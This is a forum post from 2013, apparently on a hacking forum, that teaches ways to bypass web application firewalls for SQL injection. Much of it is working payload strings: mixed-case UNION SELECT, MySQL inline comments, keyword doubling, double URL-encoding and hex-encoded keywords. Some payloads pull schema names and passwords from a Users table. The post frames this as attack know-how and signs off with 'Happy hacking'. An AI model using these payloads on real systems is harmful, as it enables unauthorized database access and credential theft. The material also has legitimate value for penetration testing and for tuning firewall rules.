Web Application Firewall ( WAF ) bypassing 03-18-2013, 08:55 PM
#1
What is WAF?
A web application firewall (WAF) is an appliance, server plugin, or filter that applies a set of rules to an HTTP
conversation. Generally, these rules cover common attacks such as Cross-site Scripting (XSS) and SQL Injection. By
customizing the rules to your application, many attacks can be identified and blocked. The effort to perform this
customization can be significant and needs to be maintained as the application is modified. ( Wikipedia )
![[Image: injection.png]](http://s16.postimage.org/ckeflo1cl/injection.png)
How to know if there is a Web Application Firewall?
When you try to enter a command used for SQL Injections ( like "UNION SELECT" command ) you get an 403 Error ( "Forbidden or "Not Acceptable" ).
How to bypass WAF?
1. Comments
Code:
//, -- , /**/ , #, -+ , -- -, ;%002. Case Changing
Some WAF's will filter only lowercase attacks so we can easily evade this by case changing:
Code:
id=1+UnIoN/**/SeLeCT3. Inline Comments:
Code:
id=1/*!UnIoN*/SeLeCTIf table_name or information_schema are filtered we can add more inline comments. So if a site filters
union,where,table_name , table_schema, = , information_schema our injection should be like :
Code:
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/
+like+database()–We can use "like" instead of " = " so the above code should bypass the filter.
Another way to use inline comments is by crafting a SQL statement using variables :
Code:
id=1+UnIoN/*&a=*/SeLeCT/*&a=*/1,2,3,database()-- -4.Replaced keywords
If we have a filter that replaces union select with whitespace, we could bypass that filter :
Code:
id=1+UNIunionON+SELselectECT+1,2,3--5. Character encoding :
Code:
id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,3,4,password%252f%252a*/FROM%252f%252a*/Users–+6. Replace characters with their HEX values:
We can replace some characters with their HEX (URL-Encoded) Values.
Code:
id=-1 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4….Others bypasses:
Code:
id=1+(UnIoN+SeLeCT)+
id=1+(UnI)(oN)+(SeL)(EcT)
id=1+’UnI”On’+'SeL”ECT’ <-MySQL only
id=1+'UnI'||'on'+SeLeCT' <-MSSQL onlyWatch to this video to understand better the WAF, it really help.
For questions or issues reply to this topic or contact me. Happy hacking !
![[Image: IRlys.png]](http://i.imgur.com/IRlys.png)




![[+]](https://sinister.li/images/modern/collapse_collapsed.png)
![[Image: 2YpkRjy.png]](http://i.imgur.com/2YpkRjy.png)